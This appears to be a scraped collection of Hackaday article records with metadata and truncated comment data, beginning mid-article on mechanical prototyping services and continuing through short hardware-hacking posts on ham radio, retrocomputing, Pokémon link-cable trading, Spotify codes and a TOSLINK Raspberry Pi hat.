For the brief batches of items that I’ve started ordering from SendCutSend, I’ve had parts sent back to me early the next week. Most metal parts from SendCutSend arrive by default with a characteristic rough edge, but I’ve softened those edges with a couple minutes of steel wool and elbow grease. What’s more, the holes made from SendCutSend’s aluminum line are cut precisely enough that I’ve been able to tap the holes with M3x0.5 threads. And if you’re especially lazy, SendCutSend will even do the tapping process for you.
Finally, it’s worth noting that SendCutSend applies
kerf compensation
to all of their laser-cut parts. That means you can send in a DXF file that’s the exact size of your part and the manufacturing process will adjust such that parts are cut as close to nominal size as possible. If you normally work with laser cutters out of your local shop or school, this is a pretty big convenience since we generally have to offset the DXF geometry to account for the spot size of the laser cutter.
I’ll mention: the minimum price for parts from SendCutSend is $30, but I was able to get a batch of 10 of the above parts made without any price increase.
Carbon Fiber CNC Routing: CNCMadness
For quadcopter builders out there, carbon fiber parts are the secret sauce to making sturdy flying frames that are both light and stiff. Unfortunately, laser cutting composite carbon fiber sheets is out-of-the-question since these sheets will spew nasty fumes from the glues they’re made from. Machining these sheets is also not just difficult, since carbon fiber eats through normal cutting tools like sandpaper, it’s also dangerous since the debris made from cutting these sheets can be harmful to breathe. Since cutting this exotic material at home is difficult at best, wouldn’t it be great if we could simply order these parts as a streamlined service?
Enter
CNCMadness
. I’ve used them over the years for all sorts of custom plates of various thicknesses. Normally, I’d reach for carbon fiber when saving weight is a key design consideration. But CNCMadness’s price range is so good, I’ll find myself reaching for carbon fiber even when weight doesn’t matter. On a typical order, I’ll usually get parts (ordered from the US) within the next week after ordering.
6mm Carbon Fiber Plates give my ol’ laser cutter build some framing.
Finally, it’s worth mentioning: unlike aluminum, which can be reworked with hand tools and even recycled for scrap, carbon fiber parts are more of a one-shot deal. If I find design mistakes, these parts are off to the trash, so I usually try to keep that thought in the back of my mind before hitting the “buy” button.
Other Manufacturing Services:
Some of these next players offer something either brand new or quite niche. Nevertheless, for completeness, they’re still worth a mention since they hint at where prototyping services could grow in the future.
Resin 3D Printing: PCBWay
PCBWay is branching out and now offering various 3D printing services, including a nifty clear resin offering. While it’s still early, some of the results are starting to emerge on
Twitter
, and the case is compelling to give them a try. For a manufacturer that got its name in the hobbyist landscape making circuit boards, it’s nice to see them branch out while it also hints at how our relationship to prototyping services is changing.
Image Credit: @PCBWayOfficial
Image Credit: @PCBWayOfficial
Low Volume Injection Molding from IGUS
Image Credit: Igus
Injection molding generally has a tremendous up-front cost for manufacturing the mold. But IGUS offers
3D printed molds
made from one of their specialty polymers that significantly reduces the wear on the mold and can be used for lower volumes at lower up-front costs. The quoting process is involved, but this service may be a useful resource to keep in your back pocket.
Make-it-Quick Tradeoffs
Just like OSH Park, the services above make some sacrifices for promising those fast economic part offerings. But, of course, in plenty of cases, those tradeoffs don’t matter. Nevertheless, it’s worth being explicit about the three options that get sacrificed: design inspection, specifications and tolerances.
Design Inspection
First off, we lose design inspection. With expensive manufacturing services, humans will often inspect your order to make sure what you’re about to have them make is free of glaring errors. Early in my engineering career, I had my employer’s go-to PCB fab house kindly point out some of those glaring errors with my PCB design, the worst of which was letting some printed text land on the copper layer instead of the silkscreen layer. Had they made my board as-is, I would’ve waited two weeks for thousands-of-dollars worth of useless coasters and perhaps a lightly-annoyed boss.
With these new low-cost prototyping services, it’s unlikely that any human will intervene to tell us what’s wrong with our design file. It’ll just get made as-is. That said, even if we order some scrap aluminum, the cost of doing it wrong the first time is much cheaper. Heck, let’s just say we get to make more design iterations.
Specialty Specifications
At the price of speed, these services sacrifice specifications. That is, we don’t get all the options available to us that we would otherwise get when quoting with a more traditional machine shop. Among these sacrifices, we lose out on specialty materials, surface finishes, coatings, heat treatments, and other post-processing tasks like deburring sharp edges. If we’re seeking out these shops, we probably knew about this tradeoff beforehand, but it’s worth making explicit. Finally, if there’s some special post-processing technique that you need but don’t see offered, reach out to them. They might be willing to make an exception for you for a fee. And with enough folks inquiring, it might become the next specification they roll out.
Tolerances
Finally, we have tradeoffs in dimensional tolerances. This one is by far the most important tradeoff to consider. The sad reality about machined parts is that they’ll never be the exact dimensions that our file specifies. As designers, we need to design for this quirk, making sure our design works over a small range of size deviations called
dimensional tolerances
.
With a high-end machine shop, dimensional tolerances are just specs. You can specify how exact the part dimensions need to be, and the shop will try to make the part within those tolerances, increasing the price for tighter specs. But with these low-cost services, we don’t get to specify how exact our part dimensions will be. Instead, they will either list fairly coarse tolerances up-front, or won’t list any manufacturing tolerances altogether.
Without dimensional tolerances, we have two options. Since most processes are made from CNC machines, we can probably expect reasonable relative tolerances between features but slightly coarser tolerances on those features themselves. In other words, the spacing between two holes might be fairly tight, but the hole size may be a bit too small or too big. One option here is to simply live with these coarse tolerances as-is and design around them such that they don’t matter.
If tight part dimensions
do
matter, the next option is to do some at-home post-processing. For instance, if we want to ensure a tight tolerance on a small hole, we can order parts with
undersize
holes and then drill them out at home ourselves to a much tighter specification. This option isn’t always practical, though. While it might be cheap and easy to drill holes out of aluminum, post processing materials like carbon fiber can be much more impractical since it requires specialty carbide tools to be able to drill through without instantly dulling the drill bit.
Finally, it’s worth noting that
thickness
and
flatness
tolerances are also not available specifications with these low-cost services either. That’s especially important for laser-cut plastic parts where the process of laser cutting the part can actually cause it to warp or curl upwards slightly. All that said, once we know about these limitations, we can put them to use in a way that consistently yields parts that meet our expectations.
Where We Came From; Where We’re Going
Alas! My PCB etching skills have been put to rest since 2013.
About a decade ago, it seemed like understanding the dirty process of etching PCBs in your garage with nasty chemicals would make you the coolest hacker on the block. But nowadays the dirtiest part of the craft of circuit board making has been replaced with an ordering process that’s too convenient to overlook. What may have been garage sorcery has been reduced to a few clicks away. But the result has been an explosion of hardware projects that all rely on what used to be an either commercial or boutique process for those with money or patience.
It’s worth asking: how is our relationship to hardware design going to change as we start to leverage these services for our after-hours hobbyist projects? I’d say that, just like OSH Park did, these mechanical prototyping services open up new doors to the complexity of the projects we can make at home. Now we need not rely on strictly 3D printed parts. We can work in metal sheets too! And with added complexity comes a proliferation of new ideas that I hope to read about here.
But something is lost. And that’s my intimate relationship spent working with the raw materials themselves. There’s something quite soothing about that sweaty machine shop ritual of leaning over your part while chips fly off into the corner. But not all projects need to undergo this ritual to have meaning. And since these new services only continue to multiply the effect of my project efforts, you can bet I’ll keep using them. | 39 | 13 | [
{
"comment_id": "6405182",
"author": "onito",
"timestamp": "2021-12-08T15:24:31",
"content": "What nasty chemicals? All it takes to etch a PCB is a bottle of ferric chloride which can be reused over and over again.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id... | 1,760,372,859.595668 | ||
https://hackaday.com/2021/12/08/four-band-digital-hf-sdr-transceiver-offers-high-performance-for-only-60/ | Four Band Digital HF SDR Transceiver Offers High Performance For Only $60 | Ryan Flowers | [
"Radio Hacks"
] | [
"amateur radio",
"FT8",
"ham radio",
"JS8Call",
"QRP",
"sdr"
] | Amateur radio is a hobby that is often thought of as being exclusive to those with a healthy expendable income. In recent years however, the tides have turned. Cheap microcontrollers and signal generators have helped turned things around, and the
$60 USD QDX from QRP Labs
goes even further by sending the performance/price ratio through the roof. You can see more details in the video below the break.
The QDX is the creation of [Hans Summers] who is well known for producing affordable high performance amateur radio kits that are focused on low power transmission, called “QRP” in ham radio parlance. What is it? It’s a pocket sized four band (80, 40, 30, 20 Meters) software defined radio (SDR) that is designed to be used with some of the most popular digital radio modes: FT8 and JS8Call, as well as any other FSK based mode such as RTTY. It’s also been tested to work well (and within spec) on 60 Meters.
While classic radios have to be connected to a computer through a special hardware interface, the QDX is designed to connect directly to a computer through a standard USB A>B cable. CAT control, PTT, and Audio are all handled directly by the QDX, and no special interface is needed. While the radio is essentially plug and play, configuration, testing, and troubleshooting can be done by connecting to the QDX’s unique serial console, which among other things contains a text based waterfall. For those who want to run their own SDR receiver, I/Q output can be sent directly through the sound card.
Now for the bad news: due to global chip shortages, the QDX is out of stock at the moment, and there’s no telling when they might start shipping again. QRP Labs is looking to source parts wherever they can to get more of the units made, but of course,
so is everyone else right now
. | 31 | 12 | [
{
"comment_id": "6405187",
"author": "DainBramage",
"timestamp": "2021-12-08T15:42:25",
"content": "That looks promising!Not into QRP myself, but I have a number of friends who are.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6405198",
"author": "Rey",
... | 1,760,372,859.759657 | ||
https://hackaday.com/2021/12/08/rubber-tyres-before-there-were-tyres/ | Rubber Tyres Before There Were Tyres | Jenny List | [
"Transportation Hacks"
] | [
"rubber tyre",
"tyre",
"wheel"
] | Sometimes there is pleasure in watching an expert demonstrating his craft, particularly so when the craft is unusual or disappearing. A video came our way of just such a thing, and it’s of a craft so rare that it’s possible few of us will have considered it. We’re used to buying tyres for our motor vehicles that come pre-made in a mould for the size of our wheels, but how many of us have considered where the origins of the rubber tyre lie? How did a 19th-century horse-drawn buggy get its tyres? [EngelsCoachShop] take us through the process,
putting rubber on a set of wooden carriage wheels
.
These wheels would originally have had iron rims, that must have provided a jarring ride on cobbled roads of the day. English coach-builders of the mid 19th century were the first to fit solid rubber tyres, and it’s this type of tyre that’s being fitted in the video. Instead of the rubber ring we might expect the tyre is cut from a length of vulcanised rubber extrusion with a significant overlap, then a pair of high-tensile wires are fed through holes in the extrusion. The impressive part is the jig for creating the tyre, in which the rubber is compressed to a tight fit on the wheel before the wires are cut and their ends brazed together. Once the wheel is released from the jig the compressed tyre expands to the point at which its ends meet, making a perfect circular tyre held tightly on the rim. Few of us will ever see this for real, but we’re privileged to see it on the screen.
We may not deal with wooden wheels very often, but
this isn’t the first set we’ve seen
.
Thanks [Andy Pugh] for the tip. | 24 | 9 | [
{
"comment_id": "6405088",
"author": "Saabman",
"timestamp": "2021-12-08T09:17:44",
"content": "I had airless rubber tyres on my push bike back in the 80’s they were horrid- but slightly better than running on a steel band I guess. And they never got punctures :lol:",
"parent_id": null,
"dep... | 1,760,372,859.815633 | ||
https://hackaday.com/2021/12/07/modern-features-in-classic-radio/ | Modern Features In Classic Radio | Bryan Cockfield | [
"Musical Hacks"
] | [
"antique",
"bitcrusher",
"crt",
"fx-300",
"microcontroller",
"music",
"radio",
"restomod",
"screen",
"sony",
"stereo",
"Teensy",
"tv",
"upgrade"
] | As consumer electronics companies chase profits on tighter and tighter margins, it seems like quality is continually harder to find for most average consumer-grade products. Luckily, we don’t have to hunt through product reviews to find well-built merchandise since we have the benefit of survivorship bias to help us identify quality products from the past that have already withstood the test of time. [Tom] has forever been fond of
this particular Sony TV/radio combo from the ’70s so he finally found one and set about modernizing it
in a few key ways.
Among the modifications to this 1978 Sony FX-300 include the addition of a modern color display, Bluetooth, an upgraded FM radio, and a microphone. At the center of all of this new hardware is a Teensy 4 which [Tom] has found to be quite powerful and has enough capabilities to process the audio that’s being played in order to make visual representations of the sound on the screen. He also implemented a
bitcrusher
filter and integrated it into the controls on the original hardware. He’s using an optimized version of
this library
to cram all of that processing ability into such a small chip, and the integration of all this new hardware is so polished that it looks like it could be an original Sony stereo from the modern era.
While some may complain about restomod-type builds like this, we don’t really see any need to be arbitrarily or absolutely faithful to bygone eras even if the original hardware was working properly in the first place. What works is taking the proven technology of the past and augmenting it with modern features to enjoy the best of both worlds. Much like
this hi-fi stereo which blends the styles and technology of the 90s with that of the 60s
in an equally impressive way. | 53 | 9 | [
{
"comment_id": "6405049",
"author": "John",
"timestamp": "2021-12-08T06:30:53",
"content": "Just curious where “restomod” comes from. Never heard the term, and it isn’t immediately obvious to me which parts come from where except for the “-mod” suffix.Also, Twitter hidden in a link, UGH!",
"par... | 1,760,372,859.903409 | ||
https://hackaday.com/2021/12/07/assistive-tech-and-video-games/ | Assistive Tech And Video Games | Orlando Hoilett | [
"Games"
] | [
"ASSISTIVE TECH",
"assistive technology",
"controller",
"sip-and-puff",
"video games"
] | Assistive technologies have a pretty big presence here on Hackaday, and this hack is nothing short of interesting. [kerchoo_22] is working on a
hands-free video game controller as a final project for her engineering class
and we think it’s worth sharing.
The basic premise of the circuit is pretty simple. She
DIY’d a few contact switches
using conductive plates made of cardboard, duct tape, and aluminum foil. The output of the switch is read by analog input pins on an Arduino Leonardo. When the switches are off, the analog input pins are pulled HIGH using 1 MegaOhm resistors. But when the user hits their head on one of the four conductive pads, the switch is engaged, and the analog input pins are shorted to ground.
The Arduino Leonardo, having a native USB port, is able to directly emulate a keyboard. Each conductive pad is mapped to a different key press corresponding to different functions within the game. Left, right, shoot, etc. And there you have it, gameplay without using hands or a controller!
Now, it seems as though [kerchoo_22] put an appropriate amount of cushion on the head pads, so there probably isn’t much danger of a concussion.
Either way, you can never be too careful
. | 6 | 6 | [
{
"comment_id": "6405024",
"author": "John",
"timestamp": "2021-12-08T03:48:14",
"content": "Cushion or no, once you start mashing buttons, you’re going to look like a lunatic dancing to hardcore. A concussion? Maybe not. Whiplash? How could you not?",
"parent_id": null,
"depth": 1,
"rep... | 1,760,372,859.940015 | ||
https://hackaday.com/2021/12/07/complete-hobo-stove-cooking-system-could-get-you-through-the-apocalypse/ | Complete Hobo Stove Cooking System Could Get You Through The Apocalypse | Kristina Panos | [
"Lifehacks",
"Misc Hacks"
] | [
"candle power",
"cans",
"hobo stove",
"rocket stove",
"tealights"
] | Let’s face it, times are hard, and winter is imminent in the northern hemisphere. No matter how much you have to your name, there’s nothing like a cup of hot tea or a warm meal on a cold day. So if you need a snow day activity, consider preparing for whatever may come to pass by building yourself
a complete hobo stove system out of empty cans
.
[ElectroIntellect]’s stove consists of a 20oz can turned upside down with several holes made in the bottom for heat to rise. The smaller cans are used for cooking pots, and the smallest as a cup. The stove itself is meant to run on flaming twigs stuffed into the base, or a couple of tealight candles if you can only find green wood around.
This comprehensive guide covers everything from building the system to packing it up safely and taking it out to cook in the concrete wilderness. As a special bonus, [ElectroIntellect] brews up some hobo coffee on the stove using an old (clean) sock, and prepares a can of chili in under an hour with candle power.
Too much hardware for you?
You can make a disposable rocket stove out of wood
. | 70 | 15 | [
{
"comment_id": "6404999",
"author": "Rog77",
"timestamp": "2021-12-08T01:17:43",
"content": "I made one one out of a small coffee jar, with a cover of thin soda can with a cross cut hole as a lid; a bit of cotton rag was pulled though the hole in the lid. This sat inside an old baked bean can with ... | 1,760,372,860.087073 | ||
https://hackaday.com/2021/12/07/simple-design-elevates-this-mechanical-dot-matrix-display/ | Simple Design Elevates This Mechanical Dot Matrix Display | Dan Maloney | [
"3d Printer hacks"
] | [
"airsoft",
"display",
"dot matrix"
] | Don’t get us wrong — we love unique displays as much as anyone. But sometimes we stumble across one that’s so unique that we lack the basic vocabulary to describe it. Such is the case with
this marble-raising dot-matrix alphanumeric display
. But it’s pretty cool, so we’ll give it a shot.
The core — literally — of [Shinsaku Hiura]’s design is a 3D-printed cylinder with a spiral groove in its outside circumference. The cylinder rotates inside a cage with vertical bars; the bars and the grooves are sized to trap 6-mm AirSoft BBs, which are fed into the groove by a port in the stationary base of the display. BBs are fed into the groove at the right position to form characters, which move upwards as the cylinder rotates. Just watch the video below — it explains it far better than words can.
The clever bit is how the BBs are fed into the groove. Rather than have a separate mechanism to gate the feed port, there’s a backlash mechanism that opens the port when the motor powering the drum runs in reverse for a bit. It’s a clever use of cams to get the job done without adding an extra servo, which sort of reminds us of the design parsimony exhibited in
his one-servo seven-segment display
.
It’s not clear that this would be a very practical display, but that doesn’t stop it from being cool. Although, [Shinsaku Hiura] just released
a follow-up video
showing a bigger version of this used to display upcoming events from Google Calendar, so perhaps we’re wrong. | 11 | 8 | [
{
"comment_id": "6404969",
"author": "BadAngel",
"timestamp": "2021-12-07T22:03:16",
"content": "This is marbelous :)Joke apart, it’s a genius idea !",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6404976",
"author": "Foldi-One",
"timestamp": "2021-12-... | 1,760,372,859.987691 | ||
https://hackaday.com/2021/12/07/multimeters-go-big-screen/ | Multimeters Go Big Screen | Al Williams | [
"Reviews",
"Tool Hacks"
] | [
"gvda",
"meter",
"multimeter",
"test equipment"
] | We’ve noticed lately that some cheap meters have gone to having big colorful screens. The screens aren’t dot matrix, but still have lots of graphics that could be useful or could be distracting eye candy, depending. The really cheap ones seem more like a gimmick, but [OM0ET]
took a look at one that looked like a fair midrange instrument
with some useful display features, the GVDA GD128.
A lot of the display shows the current function of the meter. No need for an expensive multiposition switch or rows of interlocking pushbuttons. Many of these new meters also have non-contact voltage sensors, which is handy. Otherwise, it looks like a pretty conventional cheap meter.
Many of these meters now have an auto mode where they try to guess what mode you need for a particular measurement. Essentially, it looks for voltage, resistance, or a short circuit. Of course, you can select a specific mode, too. It also measures and displays temperature, if that’s of interest to you.
What we liked is that the bottom of the display has a bar graph so you get some of the advantages of an analog meter. Despite the prevalence of digital electronics, humans are still analog. That feature alone might be worth the $40 or $50 for the meter, depending on how you use a meter.
Of course, cheap meters have a history of being — well —
cheap
. Then again, a meter like this doesn’t have that poor reliability switch to contend with. If you want the ultimate meter, snag an
HP3458A
. But it is bigger and much more expensive. | 54 | 17 | [
{
"comment_id": "6404928",
"author": "Urgon",
"timestamp": "2021-12-07T19:44:43",
"content": "I bought an Aneng AN870 multimeter because it looked good on videos. I expected it to be readable and well-suited for my poor eyesight. Well, it works, sort of, but I need to use a flashlight to read it som... | 1,760,372,860.178708 | ||
https://hackaday.com/2021/12/07/spacing-out-telescopes-politics-and-spacecraft-design/ | Spacing Out: Telescopes, Politics, And Spacecraft Design | Jenny List | [
"Current Events",
"Hackaday Columns",
"Slider",
"Space"
] | [
"Astra",
"jwst",
"rocket engine",
"space",
"spacecraft"
] | Let’s launch into a round-up of stories that are out of this world, as we take a look at what’s happening in the realm of space exploration.
Ten Billion Dollars For A Telescope? Don’t Drop It!
Perhaps the most highly anticipated space mission of the moment is the James Webb Space Telescope, an infra-red telescope that will be placed in an orbit around the Earth-Sun L2 Lagrange point from which it will serve as the successor to the now long-in-the-tooth Hubble telescope. After many years of development the craft has been assembled and shipped to French Guiana for a scheduled Ariane 5 launch on the 22nd of December. We can only imagine what must have gone through the minds of the engineers and technicians working on the telescope when
an unplanned release of a clamp band
securing it to the launch vehicle adapter sent a vibration throughout the craft. Given the fragility of some of its components this could have jeopardised the mission, however after inspection
it was found that no damage had occurred
and that space-watchers and astronomers alike can breathe easy.
In private space news, you may remember Astra from their launch at the end of August which
hovered dramatically sideways
due to a fault before ascending, and which was terminated by launch control due to insufficient remaining fuel to enter orbit. There’s some good news from that quarter, as their next launch
succeeded in reaching orbit
carrying a test payload for the United States Space Force.
A War Of Junk, Or A War Of Words?
Meanwhile politics have swirled around the ISS like a cloud of orbital junk, as
the risk of space debris blamed on a Russian anti-satellite weapon test caused the postponement of a spacewalk
, with the Russians countering that the junk was in fact
parts from a 1994 American launch
. As a backdrop there’s the ongoing saga of the hole discovered in a Russian module back in 2018, with the Russians
now threatening legal action against the NASA astronaut Serena Aunon-Chancellor
who they suspect to have drilled the hole herself. Who knew that low earth orbit could contain so much intrigue!
If fraught orbital politics leaves you hot under the collar, maybe you need to read something that’s more normal fare for Hackaday. NASA
have published the 2021 update
to their State-of-the-Art Small Spacecraft Technology report. It’s a long document, but forms a fascinating read whether you’re designing spacecraft or simply have an interest in the field. Think of it as an accessibly-written textbook that goes into significant detail on all aspects of small spacecraft design, and settles down to be enthused about cubesats and their relatives.
JWST deployment sequence will take a couple weeks
as shown in this animation
On the subject of spacecraft design, we’re guessing many of you have a keen eye for space history and the design of rockets past. It’s possible that you’ll have seen more about American craft than their Russian competitors, but here to plug that gap is
a comprehensive guide to the genesis of Soviet rocket engines
. It covers everything from the first flights of the 1950s to the never-flown N1 Moon rocket, the Buran shuttle, and even the Russian engines used today to power the American Atlas V.
The big news to look out for over the coming weeks will be the 22nd of December’s James Webb Space Telescope launch, and then the nail-biting moments
as the craft unfolds itself and extends its sun shield
. It’ll take about a month to reach its orbit, but thereafter there will be about six months of instrument set-up and calibration before we will see whatever stunning discoveries it’ll make. We know they’ll be spectacular, so let’s hope the mission goes as planned. | 9 | 4 | [
{
"comment_id": "6404931",
"author": "Gravis",
"timestamp": "2021-12-07T19:52:04",
"content": "The James Webb Paperweight Telescope is the king of teasing delays. I wouldn’t be surprised if the whole rocket just exploded and somehow the data on the last few years of work on it were lost so it just ... | 1,760,372,860.233571 | ||
https://hackaday.com/2021/12/07/retro-reproduction-captures-the-style-of-the-sol-20/ | Retro Reproduction Captures The Style Of The Sol-20 | Dan Maloney | [
"Retrocomputing"
] | [
"8080",
"emulator",
"Py8080",
"raspberry pi",
"retrocomputing",
"Sol-20",
"walnut"
] | In the early years of the computer revolution, a machine like the Sol-20 really stood out. Where most hobbyist machines had front panels that bristled with toggle switches and LEDs, the Sol-20 was a sleek, all-in-one that looked like an electric typewriter in a walnut-trimmed box. Unfortunately, it was also quite expensive, so not that many were sold. This makes them hard enough to find 40 years later that
building his own reproduction Sol-20
is about the only way for [Michael Gardi] to have one of his own.
In a lot of ways, the Sol-20 anticipated many of the design elements that would come into play later. Like the Apple and Commodore machines that were coming down the pike, the Sol-20 was intended to be plug and play. [Mike] celebrates that design with a full-size reproduction of the original, concentrating on its unique aesthetic aspects. The reproduction mimics the striking blue case, with its acrylic front panel and walnut sides. The keyboard is also an exact match for the original, in looks if not in function — the capacitive mechanism proved too difficult to replicate, so he opted for a kit using Cherry switches and custom keycaps. [Mike] also used his proven technique for 3D-printing the memorable Sol-20 logo for the front panel, in the correct font and color.
Under the hood, a Raspberry Pi runs an 8080 emulator, which supports a range of virtual devices, including a cassette tape drive and the video output. For fun, [Mike] also imagined what a CRT display for the Sol-20 would have looked like, and added that to his build. It’s a great-looking machine that never was, and we appreciate the attention to detail. We’ve seen that before —
his 2/3-scale VT-100 terminal
comes to mind, as does
his reproduction of a 1960s computer trainer
. | 26 | 9 | [
{
"comment_id": "6404893",
"author": "Michael Black",
"timestamp": "2021-12-07T17:01:51",
"content": "Not many of any computer was sold at that point. Wikipedia says 10,000 were sold, that seems like a decent amount.The Sol was on the cover of Popular Electronics for July 1976 (overlapping the Cosm... | 1,760,372,860.299249 | ||
https://hackaday.com/2021/12/07/microsofts-minimal-mouse-may-maximize-masochism/ | Microsoft’s Minimal Mouse May Maximize Masochism | Kristina Panos | [
"Featured",
"Interest",
"Original Art",
"Peripherals Hacks",
"Rants",
"Slider"
] | [
"ergonomics",
"folding mouse",
"mouse"
] | So it seems that Microsoft has a patent in process for a folding mouse
. It looks a whole lot like their Arc mouse, which is quite thin and already goes from curved to flat. But that’s apparently not good enough for Microsoft, who says mice in general are bulky and cumbersome to travel with. On the bright side, they do acknowledge the total lack of ergonomics in those tiny travel mice.
Microsoft filed this patent in March of 2021 and it was published in early November
. The patent describes the use of an expandable shell on the top with these kerf cuts in the long sides like those used to bend wood — this is where the flexibility comes in. The patent also mentions a motion tracker, haptic feedback, and a wireless charging coil. Now remember, there’s no guarantee of this ever actually happening, and there was no comment from Microsoft about whether it will become a real rodent someday.
And now, the rant. Microsoft considers this mouse, which again is essentially an updated Arc that folds in half, to be ergonomic. Full disclosure: I’ve never used an Arc mouse. But I respectfully disagree with this assessment and believe that people should not prioritize portability when it comes to peripherals, especially those that are so small to begin with. Like, what’s the use? And by the way, isn’t anyone this concerned with portability just using the touch pad or steering stick on their laptop anyway?
The Pencil Principle
Image via
Patentscope
We can’t really think of any advantages to a folding mouse other than portability, and the fact that it’s interesting looking and makes for a cool party trick. And while there are no serious drawbacks to the folding itself, this is a slip of an input device and it looks really uncomfortable to use, because there’s hardly anything to hold on to.
You know what this makes me think of? The pencil principle. When you were just leaning to write, what did you use? Do you remember grasping a really thick pencil in your kindergarten grip? Those husky pencils are still given to small children because they are easier to use than regular pencils. This bigger-is-better-principle is true for sewing needles, too, and tool grips, and tons of other stuff. Everything meant for handling has some kind of minimum viable size where it goes from unusable to usable.
What do you think? If you do a lot of computing on the go, does it bother you to carry around a standard mouse? Are you a loyal Arc user who is dying to see this folding upgrade come to fruition? Let us know in the comments. | 53 | 21 | [
{
"comment_id": "6404868",
"author": "Twisty Plastic",
"timestamp": "2021-12-07T15:21:16",
"content": "Yah, nope!If I need something that portable I probably don’t have much if any desk surface to run a mouse on.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id":... | 1,760,372,860.385611 | ||
https://hackaday.com/2021/12/07/bridging-game-worlds-with-the-impossible-pokemon-trade/ | Bridging Game Worlds With The ‘Impossible’ Pokémon Trade | Chris Wilkinson | [
"Nintendo Game Boy Hacks",
"Nintendo Hacks"
] | [
"gameboy",
"Gameboy Advance",
"gba",
"pokemon"
] | Transferring hard-earned Pokémon out of the second generation GameBoy game worlds into the ‘Advance Era’ cartridges (and vice versa) has never been officially supported by Nintendo, however [Goppier] has made these illicit trades slightly easier for budding Pokémon trainers by way of a
custom PCB and a healthy dose of reverse engineering
.
Changes to the data structure between Generation II on the original GameBoy (Pokémon Gold, Silver and Crystal) and Generation III on the GameBoy Advance (Pokémon Ruby, Sapphire, FireRed, LeafGreen and Emerald) meant that trades between these cartridges was never a possibility – at least not through any legitimate means. In contrast, Pokémon trades are possible between the first and second generation games, as well as from Generation III and beyond, leaving the leap from Gen II to Gen III as an obvious missing link.
Modern players have already overcome this limitation by dumping the cartridge save files onto a PC, at which point any Pokémon could be added or subtracted from the save. Thus, this method relies on self-control as well as the right hardware. [Goppier]’s solution is arguably far more elegant, and requires very little extra hardware. A simple PCB with ports for older and newer GameBoy Game Link Cables is the physical bridge between the generations. An ARM Cortex microcontroller sits between these connections and translates the game data between the old and the new.
The microcontroller is required to translate the data structure between the generations, and seems fit for purpose. Not only does the Pokémon data require conversion, but a few other hacks are needed before the two generations will talk nicely to each other. Pokémon on the GameBoy Advance brought in new features such as representing player movement in the trading rooms (i.e. you can see the other player moving on your screen), which also had to be addressed.
The concern over the legitimacy of trades within the Pokémon community is a curious, yet understandable, byproduct of the multiplayer experience. As an example, modern players have to be wary of ‘hacked’ Pokémon, which can often introduce glitches into their game world following a trade. Apart from these issues, some Pokémon players simply desire genuine Pokémon as part of fostering a fair and enjoyable gaming experience.
This literal bridge between Gen II and Gen III game worlds brings the community tantalizingly close to a ‘legitimate’ means of transferring their Pokémon out of ancient cartridges and into modern games. Could Nintendo one day officially sanction Gen II to Gen III trades with a similar device? Crazier things have happened.
We love our GameBoy hacks here on Hackaday, so why not check out this project that
replaces the battery-backed SRAM in your GameBoy games with FRAM
? | 13 | 8 | [
{
"comment_id": "6404908",
"author": "James",
"timestamp": "2021-12-07T18:27:48",
"content": "First things first, hacked Pokémon have no ability whatsoever to damage save data for anything Gen 3 and beyond! Gen 1 and 2 *can* suffer from issues presented, but at worst something like the Hall of Fame ... | 1,760,372,860.6745 | ||
https://hackaday.com/2021/12/07/cracking-the-spotify-code/ | Cracking The Spotify Code | Matthew Carlson | [
"Software Hacks"
] | [
"convolution",
"crc",
"image processing",
"spotify"
] | If you’ve used Spotify, you might have noticed a handy little code that it can generate that looks like a series of bars of different heights. If you’re like [Peter Boone], such an encoding will pique your curiosity, and
you might set out to figure out how they work
.
Spotify offers a little picture that, when scanned, opens almost anything searchable with Spotify. Several lines are centered on the Spotify logo with eight different heights, storing information in octal. Many visual encoding schemes encode some URI (
Uniform Resource Identifier
) that provides a unique identifier for that specific song, album, or artist when decoded. Since many URIs on Spotify are pretty long (one example being
spotify :show:3NRV0mhZa8xeRT0EyLPaIp
which clocks in at 218 bits), some mechanism is needed to compress the URIs down to something more manageable. Enter the media reference, a short sequence encoding a specific URI, generally under 40 bits. The reference is just a lookup in a database that Spotify maintains, so it requires a network connection to resolve. The actual encoding scheme from media reference to the values in the bars is quite complex involving CRC, convolution, and puncturing. The CRC allows the program to check for correct decoding, and the convolution enables the program to have a small number of read errors while still having an accurate result. Puncturing is just removing bits to reduce the numbers encoded, relying on convolution to fill in the holes.
[Peter] explains it all in his write-up helpfully and understandably. The creator of the Spotify codes stopped by in the comments to offer some valuable pointers, including pointing out there is a second mode where the lines aren’t centered, allowing it to store double the bits. [Peter] has a
python package on Github with all the needed code for you to start decoding
. Maybe you can incorporate a Spotify code scanner into
your custom Spotify playing mini computer
. | 4 | 4 | [
{
"comment_id": "6404832",
"author": "RetepV",
"timestamp": "2021-12-07T11:14:57",
"content": "I love that article!",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6404834",
"author": "IIVQ",
"timestamp": "2021-12-07T11:27:20",
"content": "Thanks! I... | 1,760,372,860.794195 | ||
https://hackaday.com/2021/12/06/adding-optical-audio-to-the-raspberry-pi-with-one-chip/ | Adding Optical Audio To The Raspberry Pi With One Chip | Tom Nardi | [
"home entertainment hacks",
"Raspberry Pi"
] | [
"I2S",
"optical audio",
"s/pdif",
"toslink"
] | In the home theater space most people would tell you the age of optical audio, known officially as TOSLINK, is over. While at one time they were the standard for surround sound systems, the fiber cables with their glowing red tips have now been largely supplanted by the all-in-one capabilities of HDMI on new TVs and audio receivers. But of course, that doesn’t mean all that TOSLINK-compatible hardware that’s in the field simply disappears.
If you’re looking to connect a Raspberry Pi to the optical port of your AV system,
[Nick Sayer] has you covered
. His “TOSLINK Transceiver Hat” utilizes a WM8804 chip from Cirrus Logic to go from the Pi’s I
2
S audio output to S/PDIF. From there the signal goes directly into the TOSLINK input and output modules, which have the appropriate fiber optic hardware and drivers built-in. All you have to do from a software standpoint is enable a boot overlay intended for a digital-to-analog converter (DAC) from HiFiBerry.
The WM8804 is joined by a handful of passives.
Speaking of which, comparing this project with commercial offerings from companies like HiFiBerry is somewhat unavoidable. While we can’t say for sure how the simple design [Nick] has come up with compares to more expensive (or even cheaper) options on the commercial market, obviously going the DIY route always nets you extra points here at Hackaday. Plus,
we’ve always been fascinated with projects
that tackle this relativity rare example of
consumer-grade fiber optic technology
.
[Nick] is offering his assembled TOSLINK hat for $40 USD on Tindie
, but he’s also made all the necessary files available for anyone who wants to build one themselves. | 32 | 10 | [
{
"comment_id": "6404786",
